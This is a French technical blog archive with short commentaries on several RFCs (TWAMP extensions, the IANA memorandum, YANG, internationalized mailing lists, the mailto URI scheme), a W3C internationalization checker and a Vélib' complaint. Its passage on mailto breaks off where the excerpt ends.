Puisque le blog officiel se vante régulièrement de nouvelles incursions de Vélib' dans le monde des réseaux sociaux, j'ai aussi envoyé un message sur Twitter à @Velib_Paris le 8 octobre (sans résultat). (Au passage, la description du profil de ce compte contient une faute d'orthographe mais je ne l'ai pas signalée, de peur d'embrouiller le destinataire en soumettant deux problèmes en même temps.)

J'ai fini par prendre ma plus belle plume et par faire une lettre en papier, timbrée réglementairement et envoyée à l'adresse indiquée sur le site, « Vélib' - TSA 90003 - 78378 Plaisir cedex ». Elle est partie le 12 octobre 2010. J'ignore si c'est à cause de la lettre ou bien à cause de cet article sur mon blog (je n'ai pas reçu de nouvelles de Vélib') mais, en tout cas, j'ai constaté le 16 octobre que l'erreur était corrigée. Il n'aura fallu que deux ans et demi depuis le premier signalement. Conclusion : ne suivez pas les procédures, râlez publiquement, cela marchera mieux.


L'article seul

RFC 6038: TWAMP Reflect Octets and Symmetrical Size Features

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : A. Morton, L. Ciavattone (AT&T Labs)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF ippm
Première rédaction de cet article le 11 octobre 2010


Voici deux petites extensions au protocole de mesure active TWAMP. L'une permet de demander le renvoi d'octets choisis par le client. L'autre permet de garantir l'usage de paquets de même taille dans les deux directions.

L'IETF a deux protocoles de mesure active, OWAMP (One-way Active Measurement Protocol, RFC 4656, unidirectionnel, et TWAMP (Two-Way Active Measurement Protocol, RFC 5357), bidirectionnel. Avec TWAMP, un client peut demander une réponse à des paquets de tests qu'il envoie et en déduire des informations sur le réseau (comme le RTT). Mais le RFC original ne garantit pas grand'chose sur ces paquets de retour (section 4.2.1 du RFC 5357), ce qui peut être gênant dans certains cas. Désormais, le client peut décider d'une partie du contenu des paquets de test, ainsi que de leur taille (sections 1 et 2 du RFC).

La possibilité de réflexion d'octets, choisis par le client, ouvre de nombreuses possibilités à ce dernier comme d'étiqueter les paquets de la manière de son choix, en pouvant relire l'« étiquette » au retour.

La section 4.2.1 du RFC 5357 recommande que le serveur TWAMP choisisse des paquets de réponse qui soient de taille proche de celui des paquets reçus. Mais ce n'était pas une obligation. La nouvelle option indique que le client veut l'égalité des tailles de paquets.

Ces deux options sont signalées par des bits du champ Mode (section 3.1 du RFC 4656) autrefois inutilisés. Un serveur TWAMP correct doit ignorer ces bits s'il ne les connait pas, assurant ainsi la compatibilité des nouveaux clients avec les anciens serveurs.

Les détails pratiques figurent en sections 3 (pour la session de contrôle du test) et 4 (pour celle de test à proprement parler). Les deux nouveaux bits ont été enregistrés dans le registre IANA (voir aussi la section 6). La section 3.2 décrit le format des paquets de l'option « Reflect Octets » qui permet d'indiquer deux octets à réfléchir lors de l'acceptation de la session (ce qui permet de vérifier que le serveur gère bien cette extension). On indique aussi le nombre d'octets (au maximum 65536) à réfléchir lors du test. L'autre option, « Symmetrical Size » n'a pas nécessité de changer le format.

Enfin, la section 4.2 normalise le comportement du réflecteur en présence de ces nouvelles options. Les deux extensions en question sont optionnelles et ne seront pas forcément mises en œuvre par tous les serveurs TWAMP. Il n'existe de toute façon pas encore de mise en œuvre de TWAMP en logiciel libre.


Téléchargez le RFC 6038


L'article seul

RFC 2860: Memorandum of Understanding Concerning the Technical Work of the Internet Assigned Numbers Authority

Date de publication du RFC : Juin 2000
Auteur(s) du RFC : B. Carpenter (IAB), F. Baker (IETF), M. Roberts (ICANN)
Pour information
Première rédaction de cet article le 8 octobre 2010


Dans le grande désordre qu'est la gouvernance de l'Internet, il y a un aspect crucial qui est souvent oublié, c'est celui de la gestion des registres IANA. Les différentes normes de l'Internet, contenues dans les RFC, laissent parfois un certain nombre de paramètres à l'extérieur, dans des registres gérés par l'IANA (cf. RFC 5226.) Ainsi, pour ajouter une valeur possible à l'attribut NAS-port-type de Radius, il n'est pas nécessaire de modifier le RFC 2865 (section 5.41), il suffit, comme le documente le RFC 3575, d'envoyer une demande qui, après instruction, sera enregistrée dans le registre approprié. Mais sur quelle base l'IANA rend t-elle ce service à l'IETF ? Dans quelles conditions ?

Ce RFC 2860 spécifie ces bases et ces conditions. Le texte original date de 2000 et était un MoU entre l'IETF (bien que celle-ci n'ait pas réellement d'existence juridique) et l'ICANN, l'organisme qui gère la « fonction IANA ». (Il a été publié sur le site de l'ICANN.) Le RFC est ainsi signé par les signataires du MoU.

Que dit ce texte indigeste rédigé en langage juridique états-unien ? D'abord, il précise que l'IANA peut gérer d'autres registres, qui ne sont pas sous contrôle de l'IETF, le plus évident étant bien sûr celui des TLD mais la section 4.3 précise que le registre des adresses IP est dans le même cas. Les deux registres les plus critiques ne sont donc pas couverts par cet accord.

Ensuite, le MoU pose le principe (section 4) que l'IANA suivra les demandes de l'IETF si celles-ci sont formalisées dans un RFC (quel que soit le statut de ce dernier). Les éventuels désaccords devront être arbitrés par l'IAB.

Et cela coûte combien ? Rien, dit la section 4.5 : l'IANA accepte de remplir cette tâche gratuitement et s'engage à le faire de manière neutre, en ne prenant en compte que des considérations techniques. On peut penser que simplement rentrer des numéros dans une base de données n'est pas un gros travail mais il est quantitativement non négligeable : à la réunion IETF de Chicago, en juillet 2007, le rapport sur l'activité IANA présenté en séance plénière expliquait que, depuis la réunion précédente en mars à Prague, l'IANA avait eu à évaluer 240 Internet-Drafts (cf. section 4.7, qui décrit cette évaluation), que 84 RFC avaient nécessité une action de sa part (par exemple le RFC 4790), 42 media types et 90 ports avaient été enregistrés. Or, aucune limite quantitative n'est indiquée dans notre RFC 2860. Au moins en théorie, on pourrait imaginer que l'IETF créer un registre d'un milliard d'entrées, avec un million de changements par jour. Gérer un tel registre écroulerait complètement l'IANA, qui n'a pourtant pas officiellement de moyen de s'y opposer. Heureusement que tout ceci est géré par des gens raisonnables.

Et, surtout, ce travail doit être fait avec rigueur et sérieux, les demandes acceptées avec circonspection (certains registres ont peu de place libre) et les données conservées éternellement. Elles doivent en outre être disponibles publiquement, via le Web (contrairement, par exemple, aux registres de l'UIT ; leurs normes sont maintenant accessibles mais leurs registres, non). L'IANA joue donc le rôle d'un notaire ou d'une bibliothèque.

Ce MoU a connu plusieurs mises à jour. La dernière semble dater de janvier 2007 et fixait des SLA, un problème courant car les performances de l'IANA ne sont pas extraordinaires et ont fait l'objet régulièrement de beaucoup de critiques.


Téléchargez le RFC 2860


L'article seul

Tester si son site Web est techniquement internationalisé

Première rédaction de cet article le 7 octobre 2010


Il y avait déjà des validateurs de l'HTML, des validateurs de flux de syndication, et des validateurs de feuille de style CSS (sans compter ceux pour l'accessibilité). Désormais, le webmestre consciencieux a en plus un outil pour vérifier que son site est techniquement internationalisé : http://qa-dev.w3.org/i18n-checker/.

Je dis bien « techniquement internationalisé » car, de même qu'un site Web peut être entièrement en HTML valide et quand même inutilisable, un site Web peut être « techniquement internationalisé » et quand même peu adapté à une audience internationale. Un outil automatique ne peut en effet pas détecter toutes les erreurs classiques d'internationalisation (comme de tenir pour acquis que tout le monde sur Terre connait les sigles nationaux, ou bien les films qui passent en ce moment dans tel pays). L'outil ne dispense donc pas d'un examen manuel, mais il permet de s'assurer que la base technique est correcte.

Pour l'anecdote (et pour donner des exemples concrets) mon blog affichait plusieurs problèmes (dont certains ont été corrigés) :

  • Pas d'attribut lang, seulement xml:lang (A tag uses an xml:lang attribute without an associated lang attribute.) parce que j'avais oublié que tout le monde n'analyse pas le XML comme du XML mais parfois comme du HTML traditionnel. C'est très bien d'étiqueter les pages en indiquant la langue mais il faut le faire correctement. (Voir le RFC 5646 pour plus de détails sur l'étiquetage.)
  • Éléments de présentation utilisés sans précautions (<b> tags found with no class attribute). En effet, les règles de style typographiques peuvent varier selon les pays et utiliser aveuglément <b> et <i> peut mener à des ennuis (cf. Using <b> and <i> elements). Ce n'est pas trop grave dans mon cas, car l'HTML est produit automatiquement, donc un <b> peut être changé en <i> facilement mais, bon, il faudrait quand même le faire plus proprement en indiquant systématiquement une classe pour ces éléments ou, mieux, en n'utilisant plus d'éléments de présentation du tout.

Un autre problème n'avait pas été détecté par le service de validation : des textes auxiliaires (comme l'avertissement en bas de chaque page) étaient systématiquement en français même lorsque l'article était en anglais. Ce genre d'erreurs n'est pas détectable automatiquement. Désormais, j'ai corrigé celle-ci (enfin, pas à 100 %), donc on a tout en français dans les articles en français comme dans ceux en anglais.


L'article seul

RFC 6020: YANG - A data modeling language for the Network Configuration Protocol

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : M. Bjorklund (Tail-f Systems)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF netmod
Première rédaction de cet article le 6 octobre 2010


Le protocole standard Netconf (normalisé dans le RFC 6241) permet de configurer un équipement réseau (par exemple un commutateur) à distance. Netconf fonctionne par des RPC dont les paramètres sont des actions à faire effectuer par l'équipement configuré, ou bien les nouvelles valeurs que peut prendre telle ou telle des variables de configuration de cet équipement. Mais comment savoir quelles actions sont possibles, quelles variables existent, et quelles valeurs elles peuvent prendre ? Jusqu'à présent, cela pouvait se spécifier uniquement dans une documentation en langue naturelle fournie avec l'équipement. Désormais, il est possible de spécifier ces informations dans un langage formel, Yang, que décrit notre RFC.

Ce RFC 6020 est très détaillé, près de deux cents pages. Et je n'ai pas personnellement d'expérience pratique avec Yang. Donc, je ne donne ici qu'un très bref résumé. Un tel survol se trouve également dans la section 4 du RFC : Yang modélise les données qui seront utilisées par Netconf. Ces données sont représentées sous forme arborescente. Yang est modulaire (section 5 du RFC), un module Yang pouvant se référer à d'autres modules. Yang définit un ensemble de types pour décrire les données (section 9 et RFC 6991). Il permet également d'indiquer les contraintes que doivent respecter les données. Yang, langage de haut niveau, ne décrit pas l'encodage utilisé sur le câble.

Yang a donc bien des points communs avec le SMI des RFC 2578 et RFC 2579. Avant Netconf, beaucoup de gens pensaient que toute la gestion des équipements réseau se ferait en SNMP, en s'appuyant sur ce modèle SMI. Si, pour la lecture des variables, SNMP s'est largement imposé, force est de constater que, pour l'écriture de variables et pour les actions, SNMP reste très peu utilisé, au profit de toute une galaxie de mécanismes privés (Web, REST, SSH + CLI, etc), galaxie que Netconf vise à remplacer. Une MIB du SMI peut donc être traduite en Yang, l'inverse n'étant pas vrai (Yang étant plus riche).

La syntaxe de Yang utilise des groupes emboîtés, délimités par des accolades. Mais une syntaxe équivalente, en XML, existe, sous le nom de Yin. Tout module Yang peut être traduit en Yin sans perte et réciproquement (voir la section 11 pour plus de détails sur Yin).

Donc, un engin donné, routeur ou autre équipement qu'on veut gérer, est décrit par des modules Yang. Lorsqu'un serveur Netconf à bord dudit engin met en œuvre un module Yang, cela veut dire qu'il permet de modifier, via Netconf, les variables décrites dans le module (le serveur typique met en œuvre plusieurs modules). Voici le début d'un module possible :

     // Only an example, not a real module. 
     module acme-system {
         namespace "http://acme.example.com/system";
         prefix "acme";

         organization "ACME Inc.";
         contact "joe@acme.example";
         description
             "The module for entities implementing the ACME system.";

         revision 2010-08-05 {
             description "Initial revision.";
         }
...

On l'a dit, Yang est arborescent. Les feuilles de l'arbre (section 4.2.2.1 du RFC) contiennent une valeur particulière, par exemple, ici, le nom de l'engin géré :

       leaf host-name {
           type string;
           description "Hostname for this system";
       }

Ici, leaf est un mot-clé de Yang qui indique une feuille de l'arbre (plus de nœuds en dessous), host-name est le nom que l'auteur du module a donné à une variable, de type « chaîne de caractères ». Lorsqu'un serveur Netconf enverra cette information à un client (ou réciproquement), elle sera encodée en XML ainsi (Netconf utilise XML pour l'encodage des messages) :


       <host-name>my-router.example.com</host-name>

Donc, pour résumer, Yang modélise ce qu'on peut lire ou modifier, Netconf permet de le lire ou de le modifier effectivement.

Par contre, si un nœud de l'arbre Yang n'est pas une feuille, il est désigné par le mot-clé container. Par exemple, il y a ici deux containers emboîtés et une feuille :

     container system {
         container login {
             leaf message {
                 type string;
                 description
                     "Message given at start of login session";
             }
         }
     }

Lorsque Netconf utilise cette donnée, cela ressemblera, sur le câble, à ceci :


     <system>
       <login>
         <message>Good morning</message>
       </login>
     </system>

Yang dispose d'un certain nombre de types pour représenter les données (section 4.2.4 et RFC 6991), mais on peut aussi créer ses types (sections 4.2.5 et 7.3) par exemple ainsi :

     typedef percent {
         type uint8 {
             range "0 .. 100";
         }
         description "Percentage";
     }

     leaf completed {
         type percent;
     }

On a ajouté un intervalle de validité au type prédéfini uint8. Autre exemple, en indiquant une valeur par défaut, et en dérivant d'un type défini dans le module inet :

     typedef listen-ipv4-address {
         type inet:ipv4-address;
         default "0.0.0.0";
     }

Yang a bien d'autres possibilités, décrites en détail dans les sections suivantes. Par exemple, dans un monde idéal, tous les engins mettant en œuvre un module Yang donné géreraient la totalité des variables du module. Mais, comme ce n'est pas forcément le cas, Yang permet des déviations (sections 5.6.3 et 7.18.3). Prenons l'exemple du RFC, un routeur BGP qui suit un module Yang BGP. Le module ne donne pas de limite au nombre de pairs BGP mais un routeur bas de gamme pourrait avoir une limite, disons à 16 pairs. Un client Netconf qui tenterait de configurer un dix-septième pair recevrait donc une erreur. Le mot-clé Yang deviation permettrait audit client de savoir à l'avance en quoi ce routeur particulier dévie du modèle BGP général. Le client Netconf n'aurait donc pas à essayer pour voir, il pourrait savoir à l'avance que l'opération de configuration du dix-septième pair ne marchera pas.

La syntaxe formelle de Yang est décrite en section 6. Elle ressemble à celle de langages de programmation comme C ou à celle de SMIng du RFC 3780 (RFC qui n'a pas eu de succès). Cette syntaxe favorise la lisibilité par des humains, le cahier des charges étant de privilégier les lecteurs, pas les auteurs de modules, ni les programmeurs d'outils Yang. À noter que, comme dans toutes les normes modernes, Yang n'est pas limité à l'ASCII et peut utiliser tout Unicode.

Bien que Yang n'utilise pas XML, il réutilise un langage de ce monde, XPath (sections 6.4 et 7.5.3). XPath sert à indiquer les dépendances entre nœuds de l'arbre.

Yang permet en effet de définir des contraintes (section 8) que doivent respecter les variables, avec la directive must. Par exemple :

         must "ifType != 'ethernet' or " +
              "(ifType = 'ethernet' and ifMTU = 1500)" {
             error-message "An ethernet MTU must be 1500";
         }

Voici un exemple de requête Netconf complète, correspondant à une variable Yang. Soit un équipement muni d'un serveur SSH et d'un serveur Netconf pour sa configuration. Disons que le serveur Netconf met en œuvre la variable Yang port, définie ainsi :

     leaf port {
         type inet:port-number;
         default 22;
         description "The port which the SSH server listens to"
     }

La requête Netconf <edit-config> (RFC 6241, section 7.2) qui configure le serveur SSH pour écouter sur le port 2022 serait :


     <rpc message-id="101"
          xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"
          xmlns:nc="urn:ietf:params:xml:ns:netconf:base:1.0">
       <edit-config>
         <target>
           <running/>
         </target>
         <config>
           <system xmlns="http://example.com/schema/config">
             <services>
               <ssh>
                 <port>2022</port>
               </ssh>
             </services>
           </system>
         </config>
       </edit-config>
     </rpc>

Le choix de Yang comme langage standard pour la description des capacités d'un serveur Netconf ne s'était pas fait sans mal. Plusieurs concurrents avaient été envisagés notamment Relax NG, un choix logique puisque Netconf utilise XML. Un langage de description de schémas comme Relax NG semblait donc un choix raisonnable. Parmi les discussions à ce sujet, citons par exemple le débat qui avait eu lieu sur la liste du secteur Applications de l'IETF. Les raisons du choix de Yang, telles que vues par les concepteurs de Yang, sont décrites sur le site officiel du projet mais je trouve cette comparaison très unilatérale.

Un bon tutoriel Netconf, couvrant également Yang, est disponible en http://www.aims-conference.org/issnsm-2008/06-netconf-yang.pdf.

Quelles sont les mises en œuvre de Yang ? Il en existe une liste sur le site officiel. Voyons par exemple l'outil pyang, qui sert à valider des schémas Yang et à les convertir dans d'autres formats. Il ne semble plus maintenu depuis longtemps mais, bon, il marche. Il peut produire du XSD et du RelaxNG - enfin du DSDL mais c'est presque pareil. Voici un exemple de test d'un schéma invalide (leaf a été tapé laf) :


% pyang test.yang
test.yang:11: error: unexpected keyword "laf"

Et, si on corrige :

% pyang test.yang
% 

Maintenant, convertissons en Yin :


% cat test.yang
 module acme-foo {
         namespace "http://acme.example.com/foo";
         prefix "acfoo";

         list interface {
             key "name";
             leaf name {
                 type string;
             }

             leaf mtu {
                 type uint32;
                 description "The MTU of the interface.";
             }
         }
     }

% pyang -fyin test.yang
<?xml version="1.0" encoding="UTF-8"?>
<module name="acme-foo"
        xmlns="urn:ietf:params:xml:ns:yang:yin:1"
        xmlns:acfoo="http://acme.example.com/foo">
  <namespace uri="http://acme.example.com/foo"/>
  <prefix value="acfoo"/>
  <list name="interface">
    <key value="name"/>
    <leaf name="name">
      <type name="string"/>
    </leaf>
    <leaf name="mtu">
      <type name="uint32"/>
      <description>
        <text>The MTU of the interface.</text>
      </description>
    </leaf>
  </list>
</module>

Et voici une conversion du même code en DSL :


% pyang -fdsdl test.yang
<?xml version='1.0' encoding='UTF-8'?>
<grammar datatypeLibrary="http://www.w3.org/2001/XMLSchema-datatypes"
	 ns="http://acme.example.com/foo"
	 xmlns="http://relaxng.org/ns/structure/1.0"
	 xmlns:a="http://relaxng.org/ns/compatibility/annotations/1.0"
	 xmlns:acfoo="http://acme.example.com/foo"
	 xmlns:dc="http://purl.org/dc/terms"
	 xmlns:dsrl="http://purl.oclc.org/dsdl/dsrl"
	 xmlns:nm="urn:ietf:params:xml:ns:netmod:dsdl-attrib:1"
	 xmlns:sch="http://purl.oclc.org/dsdl/schematron">
  <dc:source>YANG module 'acme-foo' (automatic translation)</dc:source>
<start>
   <zeroOrMore>
      <element name="interface" nm:key="name">
	  <element name="name">
	     <data type="string"/>
	  </element>
	  <optional>
	     <element name="mtu"><a:documentation>The MTU of the interface.</a:documentation>
		<data type="unsignedInt"/>
	     </element>
	  </optional>
       </element>
   </zeroOrMore>
</start>
</grammar>

Outre pyang, il y a bien entendu même un mode Emacs, yang-mode.

Le site officiel du projet, http://www.yang-central.org/, contient beaucoup d'autre information sur Yang. Une version de plus récente de Yang existe aussi, la 1.1, normalisée dans le RFC 7950.


Téléchargez le RFC 6020


L'article seul

RFC 5983: Mailing Lists and Internationalized Email Addresses

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : R. Gellens (Qualcomm)
Expérimental
Réalisé dans le cadre du groupe de travail IETF eai
Première rédaction de cet article le 5 octobre 2010


L'arrivée des normes sur le courrier électronique entièrement internationalisé a suscité beaucoup d'intérêt et d'expériences. Un des points qui avait été laissé dans l'ombre au début est le cas de listes de diffusion. Ce RFC comblait le manque, explique le problème et donnait des recommandations. Il a depuis été remplacé par le RFC 6783.

Une liste de diffusion est un mécanisme par lequel un message, bien qu'envoyé à une seule adresse, est distribué à plusieurs destinataires. L'agent logiciel qui reçoit le message et le redistribue modifie l'adresse de retour indiquée dans l'enveloppe, de façon à ce que ce soit lui, et non pas l'expéditeur originel, qui reçoive les éventuels avis de non-remise. Dans le cas d'une « vraie » liste de diffusion (par exemple, pas un simple alias Postfix), le message ainsi modifié est réinjecté par une soumission normale.

Le message subit d'autres changements, comme par exempe l'ajout d'en-têtes spécialisés dans la gestion de listes (RFC 2369 et RFC 2919) comme List-Id:, qui contient une adresse, celle de la liste, ou List-Unsubscribe:, qui contient un URI, typiquement de plan mailto:.

Idéalement, cela s'arrêterait là. Mais certains MLM (Mailing List Manager, logiciels de gestion de listes) vont plus loin et modifient le message, par exemple pour ajouter un en-tête Reply-To:, ou pour ajouter le nom de la liste dans le sujet, ou bien pour ajouter du texte à la fin du message. Pire, certains modifient des en-têtes comme From:.

Il y a trois endroits où l'arrivée des adresses de courrier en Unicode a un impact sur les listes de diffusion :

  • Le transport des messages,
  • Les en-têtes mis dans les messages,
  • Les politiques de gestion de la liste.

Les questions soulevées par ces nouvelles adresses peuvent être purement techniques (un MLM pourrait par exemple refuser les adresses non-ASCII) ou plus sémantiques, liées aux utilisateurs (si la liste elle-même a une adresse ASCII, et qu'un de ses membres a une adresse Unicode, l'expéditeur pourrait être surpris si cette adresse Unicode venait à sa connaissance, même si toute la partie technique a bien fonctionné).

Certains de ces problèmes peuvent aussi arriver en communication directe, sans l'intermédiaire de la liste de diffusion. Mais ils se règlent plus difficilement dans le cas d'une liste car l'expéditeur d'un message, par exemple, ne peut évidemment pas s'adapter à chaque membre de la liste.

Bref, après les trois endroits mentionnés plus haut, il faut se poser les trois questions concrètes suivantes :

  • La liste peut-elle avoir elle-même une adresse en Unicode ? Par exemple évolution-langue@académie-française.fr ?
  • La liste accepte t-elle des abonnés « Unicode » comme étienne@massé.fr ?
  • La liste accepte t-elle les messages délivrés entièrement en Unicode (RFC 5336) ?

Avant d'étudier ces trois questions plus en détail, la section 3 rappelle un scénario particulièrement délicat : si le message originel nécessite UTF8SMTP, par exemple parce que l'adresse de son expéditeur comprend de l'Unicode, et que certains des destinataires de la liste ont des serveurs SMTP sans cette option, le message devra se rabattre sur de l'ASCII seul, suivant le RFC 5504, sans que le serveur SMTP de l'expéditeur original n'ait pu se rendre compte de quelque chose. Ce problème devrait disparaitre avec le temps, le repli sur l'ASCII seul étant largement considéré aujourd'hui comme une mauvaise idée, qui a été exclue de la normalisation définitive du courrier électronique avec adresses Unicode.

Après ce petit détour, revenons aux trois questions. En théorie, le système de gestion de la liste peut répondre OUI à n'importe laquelle des questions indépendamment des autres. En pratique, toutefois, on ne voit pas bien l'intérêt d'avoir une adresse en Unicode si le serveur SMTP frontal ne gère pas UTFSMTP (et réciproquement, d'ailleurs). La section 4 discute ces trois services séparement mais, logiquement, les MLM les fourniront tous ou aucun.

Donc, premier service, que la liste ait une adresse de soumission en Unicode, comme pause-café@bavardage.fr. Le RFC recommande que la liste ait aussi une adresse alternative en ASCII (alt-address du RFC 5336, section 3.4), mettons pause-cafe@bavardage.fr. À noter que la liste a aussi une autre adresse, utilisée comme expéditeur dans l'enveloppe des messages sortants, et qui reçoit donc les messages d'erreur. Pour ce cas, la liste peut très bien se contenter d'une adresse en ASCII seul et, si cette adresse est en Unicode, le RFC impose (c'est la seule obligation nouvelle de ce RFC) qu'il y aie une alt-address en ASCII, pour garantir la bonne réception des messages d'erreur.

Et pour les adresses des abonnés ? Il n'y a pas de recommandation stricte, juste le rappel qu'une liste peut, si elle le souhaite, imposer que les abonnés fournissent une adresse alternative en ASCII.

Enfin, pour UTF8SMTP, le gestionnaire de la liste doit s'assurer que tous les serveurs sur le chemin gèrent bien cette option.

Le courrier entièrement internationalisé pose un autre problème, c'est celui des en-têtes List*: tels que normalisés par les RFC 2369 et RFC 2919. Pour reprendre l'exemple de pause-café@bavardage.fr, à quoi doivent ressembler, par exemple, ces en-têtes :


List-Id: Liste de discussion en Unicode <pause-café@bavardage.fr>
List-Unsubscribe: <mailto:pause-café-requête@bavardage.fr?subject=unsubscribe>
List-Archive: <http://www.example.net/listes/pause-café/archives>

Pour les deux derniers en-têtes, qui contiennent des URI, tout dépend du plan (ici, mailto: et http:). Même si ce dernier autorise les IRI (ce qui n'est pas le cas de mailto: aujourd'hui), le RFC demande que ce soit leur forme encodée en URI qui soit utilisée. (Notons que les IRI sont actuellement en cours de réforme à l'IETF, et qu'un des points en discussion est l'encodage du nom de domaine dans l'IRI, problème qui ne se pose pas dans cet exemple.) On aura donc, par exemple :


List-Unsubscribe: <mailto:pause-caf%C3%A9-requ%C3%AAte@bavardage.fr?subject=unsubscribe>
List-Archive: <http://www.example.net/listes/pause-caf%C3%A9/archives>

Ces en-têtes List*: étant essentiels pour le bon fonctionnement des listes, le RFC insiste sur le fait qu'avoir également une alternative en ASCII pur est très souhaitable. Les deux adresses (Unicode et ASCII) sont indiquées dans deux URI différents, séparés par des virgules (RFC 2369, section 2).

L'en-tête List-Id (qui identifie une liste de manière unique), lui, ne prend pas un URI comme valeur et cette discussion ne s'applique pas à lui. En revanche, il est très souvent utilisé dans des systèmes de traitement automatique du courrier reçu comme les filtres Sieve. Ces filtres ne réagissent pas forcément correctement à de l'Unicode (par exemple, ils peuvent échouer à comparer la forme UTF-8 et une forme encodée différemment). Le RFC ne fournit toutefois pas de solution à ce problème.

Je ne connais pas encore de gestionnaire de liste de diffusion qui ait des plans précis pour la mise en œuvre des adresses de courrier internationalisées. Sympa, par exemple, en est au stade de la réflexion sur ce point. Le RFC 6783, version actuelle, traite le problème très différemment, notamment en raison de la suppression du repli automatique (d'un message internationalisé vers un message ASCII).


Téléchargez le RFC 5983


L'article seul

RFC 6068: The 'mailto' URI Scheme

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : M. Duerst (Aoyama Gakuin University), L. Masinter (Adobe), J. Zawinski (DNS lounge)
Chemin des normes
Première rédaction de cet article le 5 octobre 2010


Le plan d'URI mailto:, qui permettait d'indiquer une adresse de courrier à contacter, était normalisé dans le RFC 2368. Désormais, il est remplacé par ce RFC 6068, qui introduit notamment la possibilité d'internationalisation des adresses indiquées en paramètre de mailto:.

La plupart des plans d'URI, comme http: ou ftp: permettent de désigner une ressource accessible quelque part sur le Web. mailto: est un cas à part dans la mesure où il sert plutôt à déclencher une action, l'envoi d'un message. L'usage le plus connu du plan mailto: est dans HTML, quand on écrit quelque chose du genre :


<p>N'hésitez pas à <a href="mailto:contact@example.org">signaler</a> tout problème que vous verriez dans ces
pages. Merci d'avance.</p>

et le lecteur verra un lien sur le mot « signaler ». Sélectionnant ce lien, son navigateur lui proposera alors d'envoyer un courrier à contact@example.org (ou bien déléguera cette tâche à un MUA).

La syntaxe formelle des URI mailto: figure en section 2. Outre l'adresse de destination (comme dans l'exemple ci-dessus), la grammaire permet de spécifier des champs qui seront pré-remplis comme Subject: (la grammaire ne met pas de limite sur les noms de ces champs, donc elle peut servir pour tout nouveau champ inventé). Juste après le nom du plan, mailto et le deux-points obligatoire, figure l'adresse du destinataire. Elle est évidemment à la syntaxe normalisée dans le RFC 5322, avec quelques restrictions, notamment l'interdiction des commentaires (dans l'adresse Jean Durand <jean@durand.example>, « Jean Durand » est le commentaire). La section 6 fournit de nombreux exemples, que je reprends ici (parfois un peu adaptés). Par exemple, un URI mailto: de base peut être <mailto:chris@example.com> (en utilisant la convention de l'annexe C du RFC 3986 d'écrire l'URI entre chevrons). Un URI avec sujet peut être <mailto:infobot@example.com?subject=current-issue>.

En théorie, n'importe quel en-tête peut être ainsi spécifié et, par exemple, un logiciel qui archive une liste de diffusion sous forme de page Web (comme Mhonarc) pourrait mettre un In-Reply-To: dans les URI, pour garantir qu'une réponse ne casse pas les fils de discussion. Le RFC cite cet exemple :


<li><a href="mailto:list@example.org?In-Reply-To=%3C3469A91.D10AF4C@example.com%3E">
Foo larger than Bar?</a> 2010-10-04 08:28</li>

C'est très astucieux mais, en 2010, je ne connais aucun archiveur qui fasse cela...

Si on spécifie deux champs dans l'URI mailto:, on les sépare par le & : <mailto:joe@example.com?cc=bob@example.com&subject=hello>.

Bien des caractères qui sont légaux dans une adresse de courrier peuvent poser des problèmes dans un URI. C'est le cas par exemple de %, de /, de ?, etc. Ceux-ci doivent être encodés en « pour-cent », c'est-à-dire que, par exemple, ? devient %3F (la valeur de l'octet en hexadécimal). Ainsi, un URI avec indication du corps du message et un espace dans ce corps peut être <mailto:infobot@example.com?body=send%20current-issue>. Un URI pour écrire à gorby%kremvax@example.com devrait s'écrire <mailto:gorby%25kremvax@example.com>. (Cet exemple du RFC fait référence à une vieille blague Usenet.)

Si les caractères à encoder ne sont pas dans ASCII, c'est leur forme UTF-8 qui est encodée pour-cent, octet par octet. Ainsi, Stéphane devient St%C3%A9phane. Doit-on appliquer le même traitement aux caractères dans la partie « domaine » (à droite du @) de l'adresse, si le domaine est un IDN ? Oui, on peut, en appliquant l'encodage pour-cent à la forme UTF-8. Si l'adresse est druon@académie-française.fr, on peut l'écrire druon@acad%C3%A9mie-fran%C3%A7aise.fr dans un URI mailto: mais il faudra le transformer en Punycode (druon@xn--acadmie-franaise-npb1a.fr) au moment de la composition du message, ce qui garantira que cela fonctionne toujours, même avec des applications anciennes. Un exemple plus sophistiqué est donné en section 6.3 avec le mot japonais nattō, qui s'écrit en Unicode U+7D0D U+8C46. Pour écrire à user@"natto".example.org, on aura alors un URI <mailto:user@%E7%B4%8D%E8%B1%86.example.org?subject=Test&body=NATTO>.

Même les champs supplémentaires indiqués dans l'URI peuvent avoir besoin d'être encodés pour-cent, car leur nom peut contenir des caractères ASCII mais interdits dans un URI. C'est encore plus vrai pour les valeurs des champs, qui ont des chances de contenir des caractères non-ASCII. Ainsi, demander du café (cf. RFC 2324) par courrier se fera avec un URI <mailto:user@example.org?subject=caf%C3%A9>. body pose un cas particulier car ce n'est pas un vrai champ de l'en-tête, c'est un pseudo-champ qui identifie le corps du message. Il peut être en UTF-8 (et donc encodé pour-cent), mais on ne doit pas le stocker en Quoted-Printable ou autres encodages utilisés dans le courrier. De toute façon, ce pseudo-champ est conçu pour de courts messages, pas pour du multimédia compliqué.

Des surencodages peuvent ensuite avoir besoin de s'appliquer, selon le contexte. Ainsi, si un URI mailto: comprend un & (utilisé comme délimiteur de paramètres), il ne posera pas de problème en texte seul mais, en XML, il devra être écrit &amp; (regardez le source XML ou HTML de cet article pour des exemples...).

Après ces détails de syntaxe, le mode d'emploi des URI mailto: (section 3). Les normes sur les URI spécifient leur syntaxe mais en général ne donnent guère de détails sur leur résolution : un URI est avant tout un identificateur. Pour mailto:, l'usage typique est d'envoyer un courrier à l'adresse donnée en paramètre, en incluant les champs supplémentaires donnés dans l'URI.

